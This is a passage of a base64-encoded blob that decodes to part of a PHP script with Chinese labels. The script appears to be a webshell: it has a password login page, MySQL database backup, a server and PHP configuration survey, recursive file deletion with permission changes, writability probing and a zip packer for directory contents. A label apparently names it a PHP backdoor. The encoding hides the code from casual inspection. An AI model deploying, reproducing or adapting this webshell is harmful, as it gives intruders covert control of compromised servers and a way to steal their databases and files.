Ow0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCexuLfdIE15U1FMIMr9vt2/4icpOw0KCSR0Yi0+dGRib2R5KCdIb3N0OiAnLiR0Yi0+bWFrZWlucHV0KCdzZXJ2ZXJuYW1lJywkc2VydmVybmFtZSwnJywndGV4dCcsJzIwJykuJyBVc2VyOiAnLiR0Yi0+bWFrZWlucHV0KCdkYnVzZXJuYW1lJywkZGJ1c2VybmFtZSwnJywndGV4dCcsJzE1JykuJyBQYXNzOiAnLiR0Yi0+bWFrZWlucHV0KCdkYnBhc3N3b3JkJywkZGJwYXNzd29yZCwnJywndGV4dCcsJzE1JykuJyBEQjogJy4kdGItPm1ha2VpbnB1dCgnZGJuYW1lJywkZGJuYW1lLCcnLCd0ZXh0JywnMTUnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ2Nvbm5lY3QnLCfBrL3TJywnJywnc3VibWl0JykpOw0KCUBteXNxbF9jb25uZWN0KCRzZXJ2ZXJuYW1lLCRkYnVzZXJuYW1lLCRkYnBhc3N3b3JkKSBBTkQgQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCiAgICAkdGFibGVzID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYm5hbWUpOw0KICAgIHdoaWxlICgkdGFibGUgPSBAbXlzcWxfZmV0Y2hfcm93KCR0YWJsZXMpKSB7DQoJCSRjYWNoZXRhYmxlc1skdGFibGVbMF1dID0gJHRhYmxlWzBdOw0KICAgIH0NCiAgICBAbXlzcWxfZnJlZV9yZXN1bHQoJHRhYmxlcyk7DQoJaWYgKGVtcHR5KCRjYWNoZXRhYmxlcykpIHsNCgkJJHRiLT50ZGJvZHkoJzxiPsT6w7vT0MGsvdPK/b7dv+Igb3IgtbHHsMr9vt2/4sO709DIzrrOyv2+3bHtPC9iPicpOw0KCX0gZWxzZSB7DQoJCSR0Yi0+dGRib2R5KCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiPjx0cj48dGQgdmFsaWduPSJ0b3AiPsfr0aHU8bHtOjwvdGQ+PHRkPicuJHRiLT5tYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3RhYmxlW10nLCdvcHRpb24nPT4kY2FjaGV0YWJsZXMsJ211bHRpcGxlJz0+MSwnc2l6ZSc9PjE1LCdjc3MnPT4xKSkuJzwvdGQ+PC90cj48dHIgbm93cmFwPjx0ZD48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImJhY2t1cHR5cGUiIHZhbHVlPSJzZXJ2ZXIiIGNoZWNrZWQ+ILG4t93K/b7dy/mxo7TmtcTCt762OjwvdGQ+PHRkPicuJHRiLT5tYWtlaW5wdXQoJ3BhdGgnLCRwYXRobmFtZS4nLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJywnJywndGV4dCcsJzUwJykuJzwvdGQ+PC90cj48dHIgbm93cmFwPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImJhY2t1cHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+INaxvdPPwtTYtb2xvrXYICjKyrrPyv2+3cG/vc/QobXEyv2+3b/iKTwvdGQ+PC90cj48L3RhYmxlPicpOw0KCQkkdGItPm1ha2VoaWRkZW4oJ2RvJywnYmFja3VwbXlzcWwnKTsNCgkJJHRiLT5mb3JtZm9vdGVyKCcwJywnMzAnKTsNCgl9DQoJJHRiLT50YWJsZWZvb3RlcigpOw0KCUBteXNxbF9jbG9zZSgpOw0KfS8vZW5kIHNxbCBiYWNrdXANCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInBocGVudiIpIHsNCgkkdXBzaXplPWdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7DQoJJGFkbWlubWFpbD0oaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSkgPyAiPGEgaHJlZj1cIm1haWx0bzoiLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iXCI+Ii4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uIjwvYT4iIDogIjxhIGhyZWY9XCJtYWlsdG86Ii5nZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpLiJcIj4iLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIjwvYT4iOw0KCWlmICgkZGlzX2Z1bmMgPT0gIiIpIHsNCgkJJGRpc19mdW5jID0gIk5vIjsNCgl9ZWxzZSB7DQoJCSRkaXNfZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiPGJyPiIsJGRpc19mdW5jKTsNCgkJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCI8YnI+IiwkZGlzX2Z1bmMpOw0KCX0NCgkkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/ICJZZXMiIDogIk5vIjsNCgkJJGluZm8gPSBhcnJheSgNCgkJCTAgID0+IGFycmF5KCK3/s7xxvfKsbzkIixkYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkpLA0KCQkJMSAgPT4gYXJyYXkoIrf+zvHG99Pyw/siLCI8YSBocmVmPVwiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIlwiIHRhcmdldD1cIl9ibGFua1wiPiIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIjwvYT4iKSwNCgkJCTIgID0+IGFycmF5KCK3/s7xxvdJULXY1rciLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJCTMgID0+IGFycmF5KCK3/s7xxvey2df3z7XNsyIsUEhQX09TKSwNCgkJCTUgID0+IGFycmF5KCK3/s7xxvey2df3z7XNs87E19ax4MLrIiwkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCQk2ICA9PiBhcnJheSgit/7O8cb3veLS69L9x+YiLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCQk3ICA9PiBhcnJheSgiV2Vit/7O8bbLv9oiLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwNCgkJCTggID0+IGFycmF5KCJQSFDUy9DQt73KvSIsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJCTkgID0+IGFycmF5KCJQSFCw5rG+IixQSFBfVkVSU0lPTiksDQoJCQkxMCA9PiBhcnJheSgi1MvQ0NPasLLIq8Sjyr0iLGdldHBocGNmZygic2FmZW1vZGUiKSksDQoJCQkxMSA9PiBhcnJheSgit/7O8cb3udzA7dSxIiwkYWRtaW5tYWlsKSwNCgkJCTEyID0+IGFycmF5KCKxvs7EvP7Ct762IixfX0ZJTEVfXyksDQoNCgkJCTEzID0+IGFycmF5KCLUytDtyrnTwyBVUkwgtPK/qs7EvP4gYWxsb3dfdXJsX2ZvcGVuIixnZXRwaHBjZmcoImFsbG93X3VybF9mb3BlbiIpKSwNCgkJCTE0ID0+IGFycmF5KCLUytDttq/MrLzT1NjBtL3Tv+IgZW5hYmxlX2RsIixnZXRwaHBjZmcoImVuYWJsZV9kbCIpKSwNCgkJCTE1ID0+IGFycmF5KCLP1Mq+tO3O89DFz6IgZGlzcGxheV9lcnJvcnMiLGdldHBocGNmZygiZGlzcGxheV9lcnJvcnMiKSksDQoJCQkxNiA9PiBhcnJheSgi19S2r7ao0uXIq77WseTBvyByZWdpc3Rlcl9nbG9iYWxzIixnZXRwaHBjZmcoInJlZ2lzdGVyX2dsb2JhbHMiKSksDQoJCQkxNyA9PiBhcnJheSgibWFnaWNfcXVvdGVzX2dwYyIsZ2V0cGhwY2ZnKCJtYWdpY19xdW90ZXNfZ3BjIikpLA0KCQkJMTggPT4gYXJyYXkoIrPM0PLX7rbg1MrQ7cq508PE2rTmwb8gbWVtb3J5X2xpbWl0IixnZXRwaHBjZmcoIm1lbW9yeV9saW1pdCIpKSwNCgkJCTE5ID0+IGFycmF5KCJQT1NU1+6089fWvdrK/SBwb3N0X21heF9zaXplIixnZXRwaHBjZmcoInBvc3RfbWF4X3NpemUiKSksDQoJCQkyMCA9PiBhcnJheSgi1MrQ7dfutPPJz7SrzsS8/iB1cGxvYWRfbWF4X2ZpbGVzaXplIiwkdXBzaXplKSwNCgkJCTIxID0+IGFycmF5KCKzzNDy1+6zpNTL0NDKsbzkIG1heF9leGVjdXRpb25fdGltZSIsZ2V0cGhwY2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4iw+siKSwNCgkJCTIyID0+IGFycmF5KCKxu73708O1xLqvyv0gZGlzYWJsZV9mdW5jdGlvbnMiLCRkaXNfZnVuYyksDQoJCQkyMyA9PiBhcnJheSgicGhwaW5mbygpIiwkcGhwaW5mbyksDQoJCQkyNCA9PiBhcnJheSgixL/HsLu509C/1dPgv9W85GRpc2tmcmVlc3BhY2UiLGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKS4nTWInKSwNCg0KCQkJMjUgPT4gYXJyYXkoIs280M60psDtIEdEIExpYnJhcnkiLGdldGZ1bigiaW1hZ2VsaW5lIikpLA0KCQkJMjYgPT4gYXJyYXkoIklNQVC159fT08q8/s+1zbMiLGdldGZ1bigiaW1hcF9jbG9zZSIpKSwNCgkJCTI3ID0+IGFycmF5KCJNeVNRTMr9vt2/4iIsZ2V0ZnVuKCJteXNxbF9jbG9zZSIpKSwNCgkJCTI4ID0+IGFycmF5KCJTeUJhc2XK/b7dv+IiLGdldGZ1bigic3liYXNlX2Nsb3NlIikpLA0KCQkJMjkgPT4gYXJyYXkoIk9yYWNsZcr9vt2/4iIsZ2V0ZnVuKCJvcmFfY2xvc2UiKSksDQoJCQkzMCA9PiBhcnJheSgiT3JhY2xlIDggyv2+3b/iIixnZXRmdW4oIk9DSUxvZ09mZiIpKSwNCgkJCTMxID0+IGFycmF5KCJQUkVMz+DI3dPvt6ggUENSRSIsZ2V0ZnVuKCJwcmVnX21hdGNoIikpLA0KCQkJMzIgPT4gYXJyYXkoIlBERs7EtbXWp7PWIixnZXRmdW4oInBkZl9jbG9zZSIpKSwNCgkJCTMzID0+IGFycmF5KCJQb3N0Z3JlIFNRTMr9vt2/4iIsZ2V0ZnVuKCJwZ19jbG9zZSIpKSwNCgkJCTM0ID0+IGFycmF5KCJTTk1QzfjC57ncwO3QrdLpIixnZXRmdW4oInNubXBnZXQiKSksDQoJCQkzNSA9PiBhcnJheSgi0bnL9c7EvP7Wp7PWKFpsaWIpIixnZXRmdW4oImd6Y2xvc2UiKSksDQoJCQkzNiA9PiBhcnJheSgiWE1MveLO9iIsZ2V0ZnVuKCJ4bWxfc2V0X29iamVjdCIpKSwNCgkJCTM3ID0+IGFycmF5KCJGVFAiLGdldGZ1bigiZnRwX2xvZ2luIikpLA0KCQkJMzggPT4gYXJyYXkoIk9EQkPK/b7dv+LBrL3TIixnZXRmdW4oIm9kYmNfY2xvc2UiKSksDQoJCQkzOSA9PiBhcnJheSgiU2Vzc2lvbtans9YiLGdldGZ1bigic2Vzc2lvbl9zdGFydCIpKSwNCgkJCTQwID0+IGFycmF5KCJTb2NrZXTWp7PWIixnZXRmdW4oImZzb2Nrb3BlbiIpKSwNCgkJKTsgDQoNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPVwiP2FjdGlvbj1waHBlbnZcIiBtZXRob2Q9XCJQT1NUXCI+XG4iOw0KCSR0Yi0+dGRib2R5KCc8Yj6y6b+0UEhQxeTWw7LOyv3XtL/2PC9iPicsJ2xlZnQnLCcxJywnMzAnLCdzdHlsZT0icGFkZGluZy1sZWZ0OiA1cHg7IicpOw0KCSR0Yi0+dGRib2R5KCfH68rkyOvF5NbDss7K/SjI5zptYWdpY19xdW90ZXNfZ3BjKTogJy4kdGItPm1ha2VpbnB1dCgncGhwdmFybmFtZScsJycsJycsJ3RleHQnLCc0MCcpLicgJy4kdGItPm1ha2VpbnB1dCgnJywnsum/tCcsJycsJ3N1Ym1pdCcpLCdsZWZ0JywnMicsJzMwJywnc3R5bGU9InBhZGRpbmctbGVmdDogNXB4OyInKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywndmlld3BocHZhcicpOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJJGhwID0gYXJyYXkoMD0+ICe3/s7xxvfM2NDUJywgMT0+ICdQSFC7+bG+zNjQ1CcsIDI9PiAn1+m8/tans9bXtL/2Jyk7DQoJZm9yICgkYT0wOyRhPDM7JGErKykgew0KCQkkdGItPnRkYm9keSgnPGI+Jy4kaHBbMV0uJzwvYj4nLCdsZWZ0JywnMScsJzMwJywnc3R5bGU9InBhZGRpbmctbGVmdDogNXB4OyInKTsNCj8+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCiAgICA8dGQ+DQogICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCjw/cGhwDQoJCWlmICgkYT09MCkgew0KCQkJZm9yKCRpPTA7JGk8PTEyOyRpKyspIHsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTQwJSBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPiIuJGluZm9bJGldWzBdLiI8L3RkPjx0ZD4iLiRpbmZvWyRpXVsxXS4iPC90ZD48L3RyPlxuIjsNCgkJCX0NCgkJfSBlbHNlaWYgKCRhID09IDEpIHsNCgkJCWZvciAoJGk9MTM7JGk8PTI0OyRpKyspIHsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTQwJSBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPiIuJGluZm9bJGldWzBdLiI8L3RkPjx0ZD4iLiRpbmZvWyRpXVsxXS4iPC90ZD48L3RyPlxuIjsNCgkJCX0NCgkJfSBlbHNlaWYgKCRhID09IDIpIHsNCgkJCWZvciAoJGk9MjU7JGk8PTQwOyRpKyspIHsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTQwJSBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPiIuJGluZm9bJGldWzBdLiI8L3RkPjx0ZD4iLiRpbmZvWyRpXVsxXS4iPC90ZD48L3RyPlxuIjsNCgkJCX0NCgkJfQ0KPz4NCiAgICAgIDwvdGFibGU+DQogICAgPC90ZD4NCiAgPC90cj4NCjw/cGhwDQoJfS8vZm9yDQplY2hvICI8L3RhYmxlPiI7DQp9Ly9lbmQgcGhwZW52DQo/Pg0KPGhyIHdpZHRoPSI3NzUiIG5vc2hhZGU+DQo8dGFibGUgd2lkdGg9Ijc3NSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCI+DQogIDx0cj4NCiAgICA8dGQ+UEhQuvPDxbm3ubfXqNPDsOY8L3RkPg0KICAgIDx0ZCBhbGlnbj0icmlnaHQiPjw/cGhwDQoJZGVidWdpbmZvKCk7DQoJb2JfZW5kX2ZsdXNoKCk7CQ0KCT8+PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCg0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCrqvyv2/4g0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KCS8vILXHwr3I67/aDQoJZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KPz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQppbnB1dCB7Zm9udC1mYW1pbHk6ICJWZXJkYW5hIjtmb250LXNpemU6ICIxMXB4IjtCQUNLR1JPVU5ELUNPTE9SOiAiI0ZGRkZGRiI7aGVpZ2h0OiAiMThweCI7Ym9yZGVyOiAiMXB4IHNvbGlkICM2NjY2NjYiO30NCjwvc3R5bGU+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDExcHg7IGZvbnQtZmFtaWx5OiBWZXJkYW5hIj5QYXNzd29yZDogPC9zcGFuPjxpbnB1dCBuYW1lPSJhZG1pbnBhc3MiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkbyIgdmFsdWU9ImxvZ2luIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQo8L2Zvcm0+DQo8P3BocA0KCQlleGl0Ow0KCX0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQoJLy8g0rPD5rX3ytTQxc+iDQoJZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCQlnbG9iYWwgJHN0YXJ0dGltZTsNCgkJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgkJZWNobyAiUHJvY2Vzc2VkIGluICR0b3RhbHRpbWUgc2Vjb25kKHMpIjsNCgl9DQoNCgkvLyDIpbX016rS5dfWt/sNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJiRhcnJheSkgew0KCQl3aGlsZShsaXN0KCRrZXksJHZhcikgPSBlYWNoKCRhcnJheSkpIHsNCgkJCWlmICgka2V5ICE9ICdhcmdjJyAmJiAka2V5ICE9ICdhcmd2JyAmJiAoc3RydG91cHBlcigka2V5KSAhPSAka2V5IHx8ICcnLmludHZhbCgka2V5KSA9PSAiJGtleSIpKSB7DQoJCQkJaWYgKGlzX3N0cmluZygkdmFyKSkgew0KCQkJCQkkYXJyYXlbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhcik7DQoJCQkJfQ0KCQkJCWlmIChpc19hcnJheSgkdmFyKSkgIHsNCgkJCQkJJGFycmF5WyRrZXldID0gc3RyaXBzbGFzaGVzX2FycmF5KCR2YXIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJGFycmF5Ow0KCX0NCg0KCS8vIMm+s/3Ev8K8DQoJZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJCSRteWRpcj1AZGlyKCRkZWxkaXIpOwkNCgkJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsgCQkNCgkJCWlmKChpc19kaXIoIiRkZWxkaXIvJGZpbGUiKSkgQU5EICgkZmlsZSE9Ii4iKSBBTkQgKCRmaWxlIT0iLi4iKSkgeyANCgkJCQlAY2htb2QoIiRkZWxkaXIvJGZpbGUiLDA3NzcpOw0KCQkJCWRlbHRyZWUoIiRkZWxkaXIvJGZpbGUiKTsgDQoJCQl9DQoJCQlpZiAoaXNfZmlsZSgiJGRlbGRpci8kZmlsZSIpKSB7DQoJCQkJQGNobW9kKCIkZGVsZGlyLyRmaWxlIiwwNzc3KTsNCgkJCQlAdW5saW5rKCIkZGVsZGlyLyRmaWxlIik7DQoJCQl9DQoJCX0gDQoJCSRteWRpci0+Y2xvc2UoKTsgDQoJCUBjaG1vZCgiJGRlbGRpciIsMDc3Nyk7DQoJCXJldHVybiAoQHJtZGlyKCRkZWxkaXIpKSA/IDEgOiAwOw0KCX0gDQoNCgkvLyDF0LbPtsHQtMfpv/YNCglmdW5jdGlvbiBkaXJfd3JpdGVhYmxlKCRkaXIpIHsNCgkJaWYgKCFpc19kaXIoJGRpcikpIHsNCgkJCUBta2RpcigkZGlyLCAwNzc3KTsNCgkJfQ0KCQlpZihpc19kaXIoJGRpcikpIHsNCgkJCWlmICgkZnAgPSBAZm9wZW4oIiRkaXIvdGVzdC50eHQiLCAndycpKSB7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCUB1bmxpbmsoIiRkaXIvdGVzdC50eHQiKTsNCgkJCQkkd3JpdGVhYmxlID0gMTsNCgkJCX0gZWxzZSB7DQoJCQkJJHdyaXRlYWJsZSA9IDA7DQoJCQl9DQoJCX0NCgkJcmV0dXJuICR3cml0ZWFibGU7DQoJfQ0KDQoJLy8gse248dDQvOS1xLGzvrDJq8zmu7sNCglmdW5jdGlvbiBnZXRyb3diZygpIHsNCgkJZ2xvYmFsICRiZ2NvdW50ZXI7DQoJCWlmICgkYmdjb3VudGVyKyslMj09MCkgew0KCQkJcmV0dXJuICJmaXJzdGFsdCI7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gInNlY29uZGFsdCI7DQoJCX0NCgl9DQoNCgkvLyC78cihtbHHsLXEzsS8/s+1zbPCt762DQoJZnVuY3Rpb24gZ2V0UGF0aCgkbWFpbnBhdGgsICRyZWxhdGl2ZXBhdGgpIHsNCgkJZ2xvYmFsICRkaXI7DQoJCSRtYWlucGF0aF9pbmZvICAgICAgICAgICA9IGV4cGxvZGUoJy8nLCAkbWFpbnBhdGgpOw0KCQkkcmVsYXRpdmVwYXRoX2luZm8gICAgICAgPSBleHBsb2RlKCcvJywgJHJlbGF0aXZlcGF0aCk7DQoJCSRyZWxhdGl2ZXBhdGhfaW5mb19jb3VudCA9IGNvdW50KCRyZWxhdGl2ZXBhdGhfaW5mbyk7DQoJCWZvciAoJGk9MDsgJGk8JHJlbGF0aXZlcGF0aF9pbmZvX2NvdW50OyAkaSsrKSB7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLicgfHwgJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnJykgY29udGludWU7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLi4nKSB7DQoJCQkJJG1haW5wYXRoX2luZm9fY291bnQgPSBjb3VudCgkbWFpbnBhdGhfaW5mbyk7DQoJCQkJdW5zZXQoJG1haW5wYXRoX2luZm9bJG1haW5wYXRoX2luZm9fY291bnQtMV0pOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJJG1haW5wYXRoX2luZm9bY291bnQoJG1haW5wYXRoX2luZm8pXSA9ICRyZWxhdGl2ZXBhdGhfaW5mb1skaV07DQoJCX0gLy9lbmQgZm9yDQoJCXJldHVybiBpbXBsb2RlKCcvJywgJG1haW5wYXRoX2luZm8pOw0KCX0NCg0KCS8vILzssulQSFDF5NbDss7K/Q0KCWZ1bmN0aW9uIGdldHBocGNmZygkdmFybmFtZSkgew0KCQlzd2l0Y2goJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKSkgew0KCQkJY2FzZSAwOg0KCQkJcmV0dXJuICJObyI7DQoJCQlicmVhazsNCgkJCWNhc2UgMToNCgkJCXJldHVybiAiWWVzIjsNCgkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQkJYnJlYWs7DQoJCX0NCgl9DQoNCgkvLyC87LLpuq/K/cfpv/YNCglmdW5jdGlvbiBnZXRmdW4oJGZ1bk5hbWUpIHsNCgkJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7DQoJfQ0KDQoJLy8g0bnL9bTysPzA4A0KCWNsYXNzIFBIUFppcHsNCgl2YXIgJG91dD0nJzsNCgkJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCiAgICAJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCgkJCQkkY3VyZGlyID0gZ2V0Y3dkKCk7DQoJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkgICAgICAgIGVsc2V7DQoJCQkgICAgICAgICRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvL87EvP7B0LHtDQoJCQkJICAgIGZvcmVhY2goJGZpbGVsaXN0IGFzICRrPT4kdikgJGZpbGVsaXN0W109c3Vic3RyKCR2LHN0cmxlbigkZGlyKSsxKTsNCgkgICAgICAgICAgICB9DQoJCSAgICAgICAgaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7DQoJCQkJZWxzZSBjaGRpcigkY3VyZGlyKTsNCgkJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsNCgkJCQkJCWlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KCQkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICJyIik7DQoJCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUgKCRmaWxlbmFtZSkpOw0KCQkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCSAgICBpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlbmFtZSk7DQoJCQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOw0KCQkJCQljaGRpcigkY3VyZGlyKTsNCgkJCQl9DQoJCQkJcmV0dXJuIDE7DQoJCQl9DQoJCQllbHNlIHJldHVybiAwOw0KCQl9DQoNCgkJLy8gu/G1w9a4tqjEv8K8zsS8/sHQse0NCgkJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7DQoJCQlzdGF0aWMgJGE7DQoJCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJCSAgIAkJd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQoJCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCiAgICAgICAgICAgIAkJCQkkZj0kZGlyIC4nLycuICRmaWxlOw0KICAgICAgICAgICAgCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoJCQkJCQkJJGFbXT0kZjsNCgkgICAgICAgIAkJCX0NCgkJCQkJfQ0KICAgICAJCQkJY2xvc2VkaXIoJGRoKTsNCiAgICAJCQl9DQoJCQl9DQoJCQlyZXR1cm4gJGE7DQoJCX0NCg0KCQl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJICAgIHZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCgkJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCSAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCgkJZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCgkgICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KCQkgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCQkkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQoJICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJICAgIAkkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KCQkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQogICAgICAgIAkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkgICAgICAgIH0gLy8gZW5kIGlmDQoJCSAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KCQkJICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgkgICAgfQ0KDQoJCWZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApIHsNCgkgICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KDQoJCSAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KCSAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KCQkJICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KCQkJCSAgICAgIC4gJ1x